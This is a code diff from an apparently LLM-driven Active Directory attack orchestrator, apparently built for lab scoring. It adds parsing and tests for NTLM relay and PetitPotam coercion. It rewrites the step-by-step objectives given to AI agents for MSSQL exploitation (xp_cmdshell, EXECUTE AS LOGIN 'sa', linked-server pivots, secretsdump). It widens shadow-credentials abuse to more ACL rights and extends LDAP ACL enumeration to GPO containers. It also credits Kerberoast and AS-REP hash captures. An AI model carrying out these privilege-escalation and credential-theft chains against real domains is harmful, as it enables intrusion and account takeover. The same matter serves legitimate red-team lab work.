held)."; + let parsed = super::parse_relay_coerce_output(stdout); + assert!(parsed.bind_busy); + // PFX/RELAYED_USER ignored on bind-busy paths. + assert_eq!(parsed.pfx_path, None); + assert_eq!(parsed.relayed_user, None); + } + + #[test] + fn parse_relay_output_no_markers_when_chain_failed() { + // PetitPotam triggered but the relay listener died before capture; + // no PFX_FILE / RELAYED_USER markers in stdout. + let stdout = "RELAY_PID=12345\n[!] PetitPotam returned 0x6 ERROR_INVALID_HANDLE\n=== RELAY LOG ===\n"; + let parsed = super::parse_relay_coerce_output(stdout); + assert!(!parsed.bind_busy); + assert_eq!(parsed.pfx_path, None); + assert_eq!(parsed.relayed_user, None); + } + + #[test] + fn parse_relay_output_ignores_empty_marker_values() { + // Defensive: a malformed `PFX_FILE=` with no value should not be + // treated as a successful capture (would dispatch certipy_auth on + // an empty path). + let stdout = "PFX_FILE=\nRELAYED_USER= \n"; + let parsed = super::parse_relay_coerce_output(stdout); + assert_eq!(parsed.pfx_path, None); + assert_eq!(parsed.relayed_user, None); + } + + #[test] + fn parse_relay_output_handles_empty_input() { + let parsed = super::parse_relay_coerce_output(""); + assert!(!parsed.bind_busy); + assert_eq!(parsed.pfx_path, None); + assert_eq!(parsed.relayed_user, None); + } + + // --- cap_esc8_candidates -------------------------------------------- + + #[test] + fn cap_esc8_candidates_truncates_to_max() { + let many: Vec = (0..10).map(|i| format!("192.168.58.{i}")).collect(); + let capped = super::cap_esc8_candidates(&many); + assert_eq!(capped.len(), super::ESC8_MAX_COERCE_ATTEMPTS); + // Order preserved — pick_coerce_targets puts DCs first. + assert_eq!(capped[0], "192.168.58.0"); + } + + #[test] + fn cap_esc8_candidates_passes_through_shorter_lists() { + let two = vec!["192.168.58.1".to_string(), "192.168.58.2".to_string()]; + let capped = super::cap_esc8_candidates(&two); + assert_eq!(capped, two); + } + + #[test] + fn cap_esc8_candidates_empty_stays_empty() { + let empty: Vec = Vec::new(); + assert!(super::cap_esc8_candidates(&empty).is_empty()); + } + + // --- build_relay_coerce_args ---------------------------------------- + + #[test] + fn build_relay_coerce_args_includes_all_required_fields() { + let args = super::build_relay_coerce_args( + "192.168.58.50", + "192.168.58.10", + "192.168.58.178", + "DomainController", + "alice", + "P@ssw0rd!", + "contoso.local", + ); + assert_eq!(args["ca_host"], "192.168.58.50"); + assert_eq!(args["coerce_target"], "192.168.58.10"); + assert_eq!(args["attacker_ip"], "192.168.58.178"); + assert_eq!(args["template"], "DomainController"); + assert_eq!(args["coerce_user"], "alice"); + assert_eq!(args["coerce_password"], "P@ssw0rd!"); + assert_eq!(args["coerce_domain"], "contoso.local"); + } + + #[test] + fn build_relay_coerce_args_template_override() { + // The orchestrator passes the matching template from the discovered + // ADCS vuln — verify it's forwarded verbatim. + let args = super::build_relay_coerce_args( + "192.168.58.50", + "192.168.58.10", + "192.168.58.178", + "WebServerAuth", + "alice", + "P@ssw0rd!", + "contoso.local", + ); + assert_eq!(args["template"], "WebServerAuth"); + } } diff --git a/ares-cli/src/orchestrator/automation/mssql_exploitation.rs b/ares-cli/src/orchestrator/automation/mssql_exploitation.rs index 01132f5d..c460555c 100644 --- a/ares-cli/src/orchestrator/automation/mssql_exploitation.rs +++ b/ares-cli/src/orchestrator/automation/mssql_exploitation.rs @@ -186,20 +186,27 @@ pub async fn auto_mssql_exploitation( "domain": cred.domain, }, "objectives": [ - "Enable xp_cmdshell and execute `whoami` to confirm code execution", - "Immediately after `whoami` returns, run `whoami /priv` via xp_cmdshell and include the FULL privilege table in your tool_outputs verbatim — the orchestrator parses the table to detect SeImpersonatePrivilege Enabled and credit the SeImpersonate primitive on the scoreboard. Skipping this step leaves the seimpersonate token unclaimed even when the MSSQL service account holds the privilege.", - "Try EXECUTE AS LOGIN = 'sa' if current user is not sysadmin", - "Enumerate ALL impersonation privileges: SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'", - "For each impersonatable login, try EXECUTE AS LOGIN = '' and check IS_SRVROLEMEMBER('sysadmin')", - "Check database-level impersonation: SELECT * FROM sys.database_permissions WHERE permission_name = 'IMPERSONATE'", - "Try EXECUTE AS USER = 'dbo' in each database (master, msdb, tempdb) for db_owner escalation", - "Check if any database has TRUSTWORTHY = ON: SELECT name, is_trustworthy_on FROM sys.databases WHERE is_trustworthy_on = 1", - "Extract credentials via xp_cmdshell (e.g., reg query for autologon, in-memory secrets)", - "If SeImpersonatePrivilege is Enabled, the seimpersonate primitive is already scoreboard-credited by the orchestrator's parser; chasing PrintSpoofer/GodPotato escalation is optional and lower priority than enumerating impersonation paths in MSSQL itself", - "Enumerate linked servers and test RPC execution on each link", - "Check who is sysadmin: SELECT name FROM sys.server_principals WHERE IS_SRVROLEMEMBER('sysadmin', name) = 1", - "For cross-forest linked-server pivots: enumerate SELECT s.name, s.is_rpc_out_enabled, l.uses_self_credential, l.remote_name FROM sys.servers s LEFT JOIN sys.linked_logins l ON s.server_id = l.server_id; — if `is_rpc_out_enabled=1` and `uses_self_credential=0`, use `mssql_openquery` (rides stored login mapping, bypasses double-hop)", - "If `mssql_exec_linked` fails on a cross-forest link with auth errors, retry with `impersonate_user='sa'` to wrap the hop in `EXECUTE AS LOGIN`, or switch to `mssql_openquery`", + // STOP CONDITION (must be first — agents have been observed + // burning through MaxSteps because they tried every objective + // before calling task_complete): + // + // Call `task_complete` AS SOON AS ANY of these landed — + // partial wins beat exhaustive enumeration. The orchestrator + // dispatches follow-on automations from the discoveries you + // already published; you do NOT need to chase every remaining + // primitive in this single task. + "STOP CONDITION: call `task_complete` as soon as ANY of these landed: (a) sysadmin via EXECUTE AS LOGIN = 'sa' or another impersonatable login, (b) NT hash captured via xp_cmdshell + secretsdump/reg, (c) linked-server hop confirmed by remote SELECT rows, (d) any credential / hash published by parser. Stop enumerating after one win — the orchestrator chains follow-ups automatically. Burning all 75 steps chasing every objective is a regression in this task.", + + // Quick-win path (priority order — the agent should walk + // these in order and call task_complete at the first hit): + "1. Enable xp_cmdshell, run `whoami` to confirm code execution. If that returns SYSTEM or a privileged service account, call task_complete with the evidence.", + "2. Run `whoami /priv` via xp_cmdshell and include the FULL privilege table verbatim in tool_outputs. The orchestrator parses SeImpersonatePrivilege Enabled and credits the seimpersonate primitive automatically. No further potato/PrintSpoofer escalation needed in this task.", + "3. If current login is not sysadmin, try EXECUTE AS LOGIN = 'sa'. If it succeeds, call task_complete — that's a sysadmin pivot and the orchestrator will chain xp_cmdshell + secretsdump from there.", + "4. Enumerate impersonatable logins ONCE: SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'. For each (max 3 attempts), try EXECUTE AS LOGIN = '' + IS_SRVROLEMEMBER('sysadmin'). First sysadmin hit → call task_complete.", + "5. Enumerate linked servers ONCE: SELECT s.name, s.is_rpc_out_enabled, l.uses_self_credential, l.remote_name FROM sys.servers s LEFT JOIN sys.linked_logins l ON s.server_id = l.server_id. Try `mssql_exec_linked` (or `mssql_openquery` when uses_self_credential=0) against the first link with rpc_out_enabled=1. First confirmed remote SELECT → call task_complete.", + + // Secondary (only if all primary steps surfaced no win): + "If steps 1–5 all surfaced no win, call task_complete with status describing exactly what failed (e.g. `not sysadmin, no impersonatable logins, links exist but all rpc_out_enabled=0`). DO NOT try TRUSTWORTHY DB owner chains, in-memory secret dumps, or extended enumeration — those are lower-priority and the orchestrator will dispatch them as separate tasks if needed.", ], }); if !item.linked_server.is_empty() { diff --git a/ares-cli/src/orchestrator/automation/shadow_credentials.rs b/ares-cli/src/orchestrator/automation/shadow_credentials.rs index c6fb7288..49c58157 100644 --- a/ares-cli/src/orchestrator/automation/shadow_credentials.rs +++ b/ares-cli/src/orchestrator/automation/shadow_credentials.rs @@ -62,6 +62,19 @@ pub async fn auto_shadow_credentials( return None; } + // Shadow credentials only applies to User and Computer + // objects (the only AD object classes with + // msDS-KeyCredentialLink). When the parser surfaces + // target_type as Group, GPO, or anything else, the + // certipy_shadow attempt is guaranteed to fail at + // runtime — skip dispatch to save the LLM round-trip. + if let Some(tt) = vuln.details.get("target_type").and_then(|v| v.as_str()) { + let tt = tt.to_lowercase(); + if !matches!(tt.as_str(), "user" | "computer" | "unknown") { + return None; + } + } + if state.exploited_vulnerabilities.contains(&vuln.vuln_id) { return None; } @@ -220,7 +233,24 @@ struct ShadowCredWork { } /// Returns `true` if the given vulnerability type is a candidate for shadow -/// credentials exploitation (ACL-based write access on another principal). +/// credentials exploitation (ACL-based write access on a user/computer that +/// can be abused to add a msDS-KeyCredentialLink and obtain that target's +/// NT hash via certipy auth). +/// +/// Includes the obvious primitives (GenericAll, GenericWrite, WriteDacl, +/// WriteOwner) plus three that the lab's BloodHound exposed but the +/// original matcher missed: +/// - `allextendedrights`: subsumes User-Force-Change-Password and most +/// extended rights — equivalent to GenericAll for shadow-creds purposes. +/// - `writeproperty`: a property write that explicitly covers +/// msDS-KeyCredentialLink (BloodHound's targetedwrite analogue). +/// - `forcechangepassword`: while normally used to reset the password, +/// the same WriteProperty extended right also lets us write +/// msDS-KeyCredentialLink, so certipy_shadow works without destroying +/// the lab's seeded password. +/// +/// All forms accept both the bare and `acl_`-prefixed shapes emitted by +/// ldap_acl_enumeration's parser. pub(crate) fn is_shadow_cred_candidate(vuln_type: &str) -> bool { matches!( vuln_type.to_lowercase().as_str(), @@ -229,9 +259,16 @@ pub(crate) fn is_shadow_cred_candidate(vuln_type: &str) -> bool { | "writedacl" | "writeowner" | "shadow_credentials" + | "allextendedrights" + | "writeproperty" + | "forcechangepassword" | "acl_genericall" | "acl_genericwrite" | "acl_writedacl" + | "acl_writeowner" + | "acl_allextendedrights" + | "acl_writeproperty" + | "acl_forcechangepassword" ) } @@ -255,6 +292,23 @@ mod tests { assert!(is_shadow_cred_candidate("acl_writedacl")); } + #[test] + fn is_shadow_cred_candidate_accepts_allextendedrights_and_writeproperty() { + // BloodHound surfaces these on user-targeted ACLs (e.g. a low-priv + // account with AllExtendedRights on Administrator). Previously + // rejected; now accepted so certipy_shadow fires on the direct DA + // path. + assert!(is_shadow_cred_candidate("allextendedrights")); + assert!(is_shadow_cred_candidate("AllExtendedRights")); + assert!(is_shadow_cred_candidate("writeproperty")); + assert!(is_shadow_cred_candidate("forcechangepassword")); + // ACL-prefixed forms emitted by ldap_acl_enumeration parser. + assert!(is_shadow_cred_candidate("acl_allextendedrights")); + assert!(is_shadow_cred_candidate("acl_writeproperty")); + assert!(is_shadow_cred_candidate("acl_forcechangepassword")); + assert!(is_shadow_cred_candidate("acl_writeowner")); + } + #[test] fn is_shadow_cred_candidate_negative() { assert!(!is_shadow_cred_candidate("rbcd")); diff --git a/ares-cli/src/orchestrator/exploitation.rs b/ares-cli/src/orchestrator/exploitation.rs index 698ac107..4ce8667d 100644 --- a/ares-cli/src/orchestrator/exploitation.rs +++ b/ares-cli/src/orchestrator/exploitation.rs @@ -21,23 +21,44 @@ use crate::orchestrator::dispatcher::Dispatcher; fn is_automation_owned_vuln(vtype: &str) -> bool { let vtype = vtype.to_lowercase(); - vtype == "constrained_delegation" - || vtype == "unconstrained_delegation" - || vtype == "rbcd" - || vtype == "child_to_parent" - || vtype == "forest_trust_escalation" - || vtype == "smb_signing_disabled" - || vtype == "ldap_signing_disabled" - || vtype == "ldap_signing_not_required" - || vtype == "ntlmv1_downgrade" - || vtype == "genericall" - || vtype == "genericwrite" - || vtype == "writedacl" - || vtype == "writeowner" - || vtype == "forcechangepassword" - || vtype == "self_membership" - || vtype == "write_membership" - || EXPLOITABLE_ESC_TYPES.contains(&vtype.as_str()) + let exact = matches!( + vtype.as_str(), + "constrained_delegation" + | "unconstrained_delegation" + | "rbcd" + | "child_to_parent" + | "forest_trust_escalation" + | "smb_signing_disabled" + | "ldap_signing_disabled" + | "ldap_signing_not_required" + | "ntlmv1_downgrade" + | "genericall" + | "genericwrite" + | "writedacl" + | "writeowner" + | "forcechangepassword" + | "self_membership" + | "write_membership" + // Vuln types whose dedicated automations dispatch directly + // and would race the generic exploitation path. Added when + // their owning automations landed. + | "shadow_credentials" + | "sid_history_abuse" + | "seimpersonate" + | "ntlm_relay" + | "laps_abuse" + | "laps_reader" + ); + if exact || EXPLOITABLE_ESC_TYPES.contains(&vtype.as_str()) { + return true; + } + // Prefix match for the family of GPO Abuse vuln types emitted by the + // ldap_acl_enumeration parser when the target is a groupPolicyContainer + // — `gpo_writeproperty_*`, `gpo_genericall_*`, etc. All owned by + // `auto_gpo_abuse`. Without this guard the generic exploitation + // workflow ALSO picks them up and dispatches a duplicate exploit task + // to the privesc role, doubling LLM cost on every gpo_* primitive. + vtype.starts_with("gpo_") } /// Cooldown before re-dispatching a failed exploit for the same vulnerability. @@ -262,6 +283,32 @@ mod tests { "ldap_signing_not_required", "ntlmv1_downgrade", "esc1", + // Added when the dedicated automations landed. + "shadow_credentials", + "sid_history_abuse", + "seimpersonate", + "ntlm_relay", + ] { + assert!( + is_automation_owned_vuln(vtype), + "{vtype} should be automation-owned" + ); + } + } + + #[test] + fn gpo_prefix_vulns_are_automation_owned() { + // ldap_acl_enumeration emits `gpo__*` vuln_ids for ACEs on + // groupPolicyContainer objects; `auto_gpo_abuse` owns them. Without + // the prefix match the generic exploitation workflow would + // double-dispatch, wasting LLM budget per vuln. + for vtype in [ + "gpo_abuse", + "gpo_writeproperty", + "gpo_genericall", + "gpo_writedacl", + "gpo_writeowner", + "gpo_allextendedrights", ] { assert!( is_automation_owned_vuln(vtype), @@ -272,7 +319,11 @@ mod tests { #[test] fn generic_exploit_vulns_still_allowed() { - for vtype in ["mssql_access", "zerologon", "gpo_abuse"] { + // `mssql_access` and `zerologon` register vulns via dedicated + // automations that only enumerate/check — actual exploitation + // still goes through the generic workflow (LLM-routed). The + // automation-owned filter must keep allowing them through. + for vtype in ["mssql_access", "zerologon"] { assert!( !is_automation_owned_vuln(vtype), "{vtype} should remain generic" diff --git a/ares-cli/src/orchestrator/result_processing/mod.rs b/ares-cli/src/orchestrator/result_processing/mod.rs index 20c108f1..36fa20ab 100644 --- a/ares-cli/src/orchestrator/result_processing/mod.rs +++ b/ares-cli/src/orchestrator/result_processing/mod.rs @@ -1024,6 +1024,38 @@ async fn resolve_domain_from_ip(dispatcher: &Arc, target_ip: Option< state.domains.first().cloned().unwrap_or_default() } +/// `kerberoast_{username}` or `asrep_roast_{domain}` token when the +/// captured hash carries the canonical impacket / hashcat prefix +/// (`$krb5tgs$`, `$krb5asrep$`). Returns `None` for other hash types so +/// the caller emits exactly one token per captured roast hash. Token +/// values match dreadgoad's `transport_ares.aresExploitedToTechniqueIDs` +/// prefix matchers — anything starting with `kerberoast_` / `asrep_roast_` +/// credits the corresponding scoreboard primitive. +fn roast_exploit_token(hash_value: &str, username: &str, domain: &str) -> Option { + let user_lc = username.trim().to_lowercase(); + let dom_lc = domain.trim().to_lowercase(); + if hash_value.starts_with("$krb5tgs$") { + // Kerberoast: token-per-account so multiple SPN hashes don't + // collapse on a single entry. + if user_lc.is_empty() { + return None; + } + Some(format!("kerberoast_{user_lc}")) + } else if hash_value.starts_with("$krb5asrep$") { + // AS-REP roast: dreadgoad's objective is per-domain (any + // preauth-disabled account demonstrates the primitive); token- + // per-domain lets the inferred-hint path and the explicit-capture + // path converge on the same entry. + let key = if !dom_lc.is_empty() { dom_lc } else { user_lc }; + if key.is_empty() { + return None; + } + Some(format!("asrep_roast_{key}")) + } else { + None + } +} + /// S4U auto-chain: detect .ccache ticket in task output and dispatch secretsdump. /// /// Mirrors Python's `_auto_chain_s4u_lateral_movement` — when a task produces a @@ -1470,6 +1502,35 @@ async fn extract_discoveries( emit_gmsa_exploit_token_if_gmsa(&dispatcher.state, &dispatcher.queue, &username) .await; + + // AS-REP / Kerberoast primitive credit on hash capture. + // dreadgoad's scoreboard otherwise infers `asrep_roast` / + // `kerberoast` from the cracked-credential hint, which only + // fires AFTER the hash crack succeeds. The crack may fail + // (insufficient wordlist coverage, AES instead of RC4) yet + // the capture itself already proves the primitive. Emit the + // token at capture time so credit is independent of crack + // outcome. + if let Some(token) = roast_exploit_token(&hash_value, &username, &domain) { + if let Err(e) = dispatcher + .state + .mark_exploited(&dispatcher.queue, &token) + .await + { + warn!( + err = %e, + vuln_id = %token, + "Failed to mark roast hash as exploited" + ); + } else { + info!( + vuln_id = %token, + account = %username, + domain = %domain, + "Kerberos roast hash captured — emitted exploit token" + ); + } + } } Ok(false) => {} Err(e) => warn!(err = %e, "Failed to publish hash"), diff --git a/ares-cli/src/orchestrator/result_processing/tests.rs b/ares-cli/src/orchestrator/result_processing/tests.rs index aebe6ef1..88c177a4 100644 --- a/ares-cli/src/orchestrator/result_processing/tests.rs +++ b/ares-cli/src/orchestrator/result_processing/tests.rs @@ -1545,3 +1545,74 @@ fn error_indicates_stall_rejects_real_failures() { assert!(!error_indicates_stall(Some(""))); assert!(!error_indicates_stall(None)); } + +#[test] +fn roast_token_recognises_kerberoast_hash() { + use super::roast_exploit_token; + assert_eq!( + roast_exploit_token( + "$krb5tgs$23$*sql_svc$CONTOSO.LOCAL$cifs/dc01...", + "sql_svc", + "contoso.local", + ), + Some("kerberoast_sql_svc".to_string()) + ); +} + +#[test] +fn roast_token_recognises_asrep_hash() { + use super::roast_exploit_token; + assert_eq!( + roast_exploit_token( + "$krb5asrep$23$alice@CONTOSO.LOCAL:abc...", + "alice", + "contoso.local", + ), + Some("asrep_roast_contoso.local".to_string()) + ); +} + +#[test] +fn roast_token_falls_back_to_username_when_domain_empty() { + use super::roast_exploit_token; + assert_eq!( + roast_exploit_token("$krb5asrep$23$alice@DOMAIN:abc...", "alice", "",), + Some("asrep_roast_alice".to_string()) + ); +} + +#[test] +fn roast_token_ignores_non_roast_hashes() { + use super::roast_exploit_token; + // NTLM hash from secretsdump — not a roast, no token. + assert_eq!( + roast_exploit_token( + "aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c", + "administrator", + "contoso.local", + ), + None + ); + // Empty hash value + assert_eq!(roast_exploit_token("", "user", "dom"), None); +} + +#[test] +fn roast_token_returns_none_when_both_user_and_domain_empty() { + use super::roast_exploit_token; + assert_eq!(roast_exploit_token("$krb5asrep$23$...", "", ""), None); + assert_eq!(roast_exploit_token("$krb5tgs$23$...", "", "dom"), None); +} + +#[test] +fn roast_token_lowercases_account_and_domain() { + use super::roast_exploit_token; + assert_eq!( + roast_exploit_token("$krb5tgs$23$*", "SQL_SVC", "CONTOSO.LOCAL"), + Some("kerberoast_sql_svc".to_string()) + ); + assert_eq!( + roast_exploit_token("$krb5asrep$23$", "Alice", "Contoso.Local"), + Some("asrep_roast_contoso.local".to_string()) + ); +} diff --git a/ares-tools/src/parsers/ntsd.rs b/ares-tools/src/parsers/ntsd.rs index 8f5d527b..669bda57 100644 --- a/ares-tools/src/parsers/ntsd.rs +++ b/ares-tools/src/parsers/ntsd.rs @@ -344,9 +344,17 @@ pub fn parse_acl_enumeration(output: &str, params: &Value) -> Vec { // First pass: collect all objects with their sAMAccountName and objectSid struct LdapObject { sam_account_name: String, - object_class: String, // user, group, computer + object_class: String, // user, group, computer, grouppolicycontainer ntsd_base64: String, object_sid: String, + /// `cn` attribute — for GPO containers this is the `{GUID}` form + /// (`{31B2F340-016D-11D2-945F-00C04FB984F9}`); for other objects + /// it's the same as sAMAccountName minus the leading prefix. + cn: String, + /// `displayName` attribute — for GPO containers, the friendly + /// name ("Default Domain Policy"). Used in the vuln description + /// alongside the GUID cn. + display_name: String, } let mut objects: Vec = Vec::new(); @@ -355,21 +363,31 @@ pub fn parse_acl_enumeration(output: &str, params: &Value) -> Vec { object_class: String::new(), ntsd_base64: String::new(), object_sid: String::new(), + cn: String::new(), + display_name: String::new(), }; let mut in_ntsd = false; let mut ntsd_buf = String::new(); + // An "identifiable" object is one we can flush at a record boundary: it + // has at least one identifier we can use as the target name. Users / + // groups / computers populate `sAMAccountName`; GPO containers carry + // their identity in `cn` instead. + fn has_identity(o: &LdapObject) -> bool { + !o.sam_account_name.is_empty() || !o.cn.is_empty() + } + for line in output.lines() { let line = line.trim_end(); - if line.starts_with("dn: ") || (line.is_empty() && !current.sam_account_name.is_empty()) { + if line.starts_with("dn: ") || (line.is_empty() && has_identity(¤t)) { // Flush current if in_ntsd { current.ntsd_base64 = ntsd_buf.clone(); in_ntsd = false; ntsd_buf.clear(); } - if !current.sam_account_name.is_empty() { + if has_identity(¤t) { objects.push(current); } current = LdapObject { @@ -377,6 +395,8 @@ pub fn parse_acl_enumeration(output: &str, params: &Value) -> Vec { object_class: String::new(), ntsd_base64: String::new(), object_sid: String::new(), + cn: String::new(), + display_name: String::new(), }; continue; } @@ -397,10 +417,15 @@ pub fn parse_acl_enumeration(output: &str, params: &Value) -> Vec { current.sam_account_name = val.trim().to_string(); } else if let Some(val) = line.strip_prefix("objectClass: ") { let val = val.trim().to_lowercase(); - // Keep the most specific class - if val == "user" || val == "computer" || val == "group" { + // Keep the most specific class. + if val == "user" || val == "computer" || val == "group" || val == "grouppolicycontainer" + { current.object_class = val; } + } else if let Some(val) = line.strip_prefix("cn: ") { + current.cn = val.trim().to_string(); + } else if let Some(val) = line.strip_prefix("displayName: ") { + current.display_name = val.trim().to_string(); } else if let Some(val) = line.strip_prefix("objectSid:: ") { // Base64-encoded SID if let Ok(bytes) = base64_decode(val.trim()) { @@ -423,7 +448,7 @@ pub fn parse_acl_enumeration(output: &str, params: &Value) -> Vec { if in_ntsd { current.ntsd_base64 = ntsd_buf; } - if !current.sam_account_name.is_empty() { + if has_identity(¤t) { objects.push(current); } @@ -477,8 +502,20 @@ pub fn parse_acl_enumeration(output: &str, params: &Value) -> Vec { continue; } - // Skip if source == target (self-permissions) - if source_name.eq_ignore_ascii_case(&obj.sam_account_name) { + // For GPO containers, the identifier is the `cn` (GUID); for + // every other object type it's the sAMAccountName. Self-perm + // dedup compares against whichever identifier we'll emit. + let is_gpo = obj.object_class == "grouppolicycontainer"; + let target_name = if is_gpo && !obj.cn.is_empty() { + obj.cn.as_str() + } else { + obj.sam_account_name.as_str() + }; + + if target_name.is_empty() { + continue; + } + if source_name.eq_ignore_ascii_case(target_name) { continue; } @@ -486,37 +523,96 @@ pub fn parse_acl_enumeration(output: &str, params: &Value) -> Vec { "user" => "User", "group" => "Group", "computer" => "Computer", + "grouppolicycontainer" => "GPO", _ => "Unknown", }; - let vuln_id = format!( - "acl_{}_{}_{}", - vuln_type, - source_name.to_lowercase().replace(' ', "_"), - obj.sam_account_name.to_lowercase().replace('$', "") - ); + // GPO targets get a dedicated `gpo_` vuln_type so the + // auto_gpo_abuse chain picks them up. Other ACL targets keep + // the legacy `acl_` prefix consumed by auto_dacl_abuse. + let emitted_vuln_type = if is_gpo { + format!("gpo_{vuln_type}") + } else { + (*vuln_type).to_string() + }; + + // Sanitise the identifier for the vuln_id key: lowercase and + // collapse spaces/curly-braces/hyphens to underscores so the + // `{GUID}` form of a GPO cn doesn't introduce shell-special + // characters into a downstream redis SET member. + let slug = target_name + .to_lowercase() + .chars() + .map(|c| match c { + 'a'..='z' | '0'..='9' | '.' => c, + _ => '_', + }) + .collect::(); + + let vuln_id = if is_gpo { + format!( + "gpo_{}_{}_{}", + vuln_type, + source_name.to_lowercase().replace(' ', "_"), + slug, + ) + } else { + format!( + "acl_{}_{}_{}", + vuln_type, + source_name.to_lowercase().replace(' ', "_"), + obj.sam_account_name.to_lowercase().replace('$', "") + ) + }; + + let description = if is_gpo { + format!( + "{} has {} on GPO {} ({})", + source_name, + vuln_type, + target_name, + if obj.display_name.is_empty() { + "no displayName" + } else { + obj.display_name.as_str() + }, + ) + } else { + format!( + "{} has {} on {} ({})", + source_name, vuln_type, obj.sam_account_name, target_type + ) + }; + + let mut details_map = serde_json::Map::new(); + details_map.insert("trustee_sid".into(), json!(trustee_sid)); + details_map.insert("source".into(), json!(source_name)); + details_map.insert("target".into(), json!(target_name)); + details_map.insert("target_type".into(), json!(target_type)); + details_map.insert("domain".into(), json!(domain)); + details_map.insert("source_domain".into(), json!(domain)); + details_map.insert("description".into(), json!(description)); + // Extra context for GPO targets so auto_gpo_abuse's payload + // builder can populate gpo_id / gpo_name / gpo_display_name + // without an extra LDAP round-trip. + if is_gpo { + details_map.insert("gpo_id".into(), json!(obj.cn)); + if !obj.display_name.is_empty() { + details_map.insert("gpo_display_name".into(), json!(obj.display_name)); + details_map.insert("gpo_name".into(), json!(obj.display_name)); + } + } vulns.push(json!({ "vuln_id": vuln_id, - "vuln_type": vuln_type, + "vuln_type": emitted_vuln_type, "source": source_name, - "target": obj.sam_account_name, + "target": target_name, "target_type": target_type, "target_ip": target_ip, "domain": domain, "source_domain": domain, - "details": { - "trustee_sid": trustee_sid, - "source": source_name, - "target": obj.sam_account_name, - "target_type": target_type, - "domain": domain, - "source_domain": domain, - "description": format!( - "{} has {} on {} ({})", - source_name, vuln_type, obj.sam_account_name, target_type - ), - }, + "details": Value::Object(details_map), })); } } @@ -728,6 +824,27 @@ mod tests { assert!(vulns.is_empty()); } + #[test] + fn parse_acl_enumeration_collects_gpo_object_without_panic() { + // GPO containers have no `sAMAccountName`; the parser must still + // flush them at the record boundary using `cn` as identity. + // Without nTSecurityDescriptor no ACEs land — the test verifies + // the parser walks the record cleanly (no panic, no spurious + // output) and that the `gpo_` vuln_type prefix takes effect when + // the SD path eventually produces an ACE. + let output = "\ +dn: CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=contoso,DC=local +objectClass: top +objectClass: container +objectClass: groupPolicyContainer +cn: {31B2F340-016D-11D2-945F-00C04FB984F9} +displayName: Default Domain Policy +"; + let vulns = parse_acl_enumeration(output, &serde_json::json!({"domain": "contoso.local"})); + // No nTSecurityDescriptor → no ACEs → no vulns. Important: no panic. + assert!(vulns.is_empty()); + } + #[test] fn parse_security_descriptor_minimal_valid() { // Construct a minimal self-relative SD with DACL present, 0 ACEs diff --git a/ares-tools/src/recon.rs b/ares-tools/src/recon.rs index d86725bf..6656819a 100644 --- a/ares-tools/src/recon.rs +++ b/ares-tools/src/recon.rs @@ -643,12 +643,19 @@ pub async fn ldap_acl_enumeration(args: &Value) -> Result { .timeout_secs(300) .flag("-b", &base_dn) .args(["-E", "1.2.840.113556.1.4.801=::MAMCAQQ="]) - .arg("(|(objectCategory=person)(objectCategory=group)(objectCategory=computer))") + .arg("(|(objectCategory=person)(objectCategory=group)(objectCategory=computer)(objectCategory=groupPolicyContainer))") .args([ "sAMAccountName", "objectClass", "objectSid", "nTSecurityDescriptor", + // GPO containers carry their identity in `cn` (the + // `{GUID}` directory name) and `displayName` (the friendly + // name like "Default Domain Policy") — neither has a + // sAMAccountName. The parser uses `cn` to construct the + // gpo__ vuln_id. + "cn", + "displayName", ]) .execute() .await; @@ -669,8 +676,8 @@ conn = ldap_mod.LDAPConnection('ldap://{target}', '{base_dn}', '{target}') conn.login('{u}', '', '{domain}', lmhash='', nthash='{nt_hash}') sc = ldap_mod.SimplePagedResultsControl(size=1000) resp = conn.search( - searchFilter='(|(objectCategory=person)(objectCategory=group)(objectCategory=computer))', - attributes=['sAMAccountName','objectClass','objectSid','nTSecurityDescriptor'], + searchFilter='(|(objectCategory=person)(objectCategory=group)(objectCategory=computer)(objectCategory=groupPolicyContainer))', + attributes=['sAMAccountName','objectClass','objectSid','nTSecurityDescriptor','cn','displayName'], searchControls=[sc], sizeLimit=0, ) @@ -727,12 +734,14 @@ for item in resp: // Request DACL only via SD_FLAGS control (0x04 = DACL) // BER: SEQUENCE { INTEGER 4 } = 30 03 02 01 04 → base64 MAMCAQQ= .args(["-E", "1.2.840.113556.1.4.801=::MAMCAQQ="]) - .arg("(|(objectCategory=person)(objectCategory=group)(objectCategory=computer))") + .arg("(|(objectCategory=person)(objectCategory=group)(objectCategory=computer)(objectCategory=groupPolicyContainer))") .args([ "sAMAccountName", "objectClass", "objectSid", "nTSecurityDescriptor", + "cn", + "displayName", ]); cmd.execute().await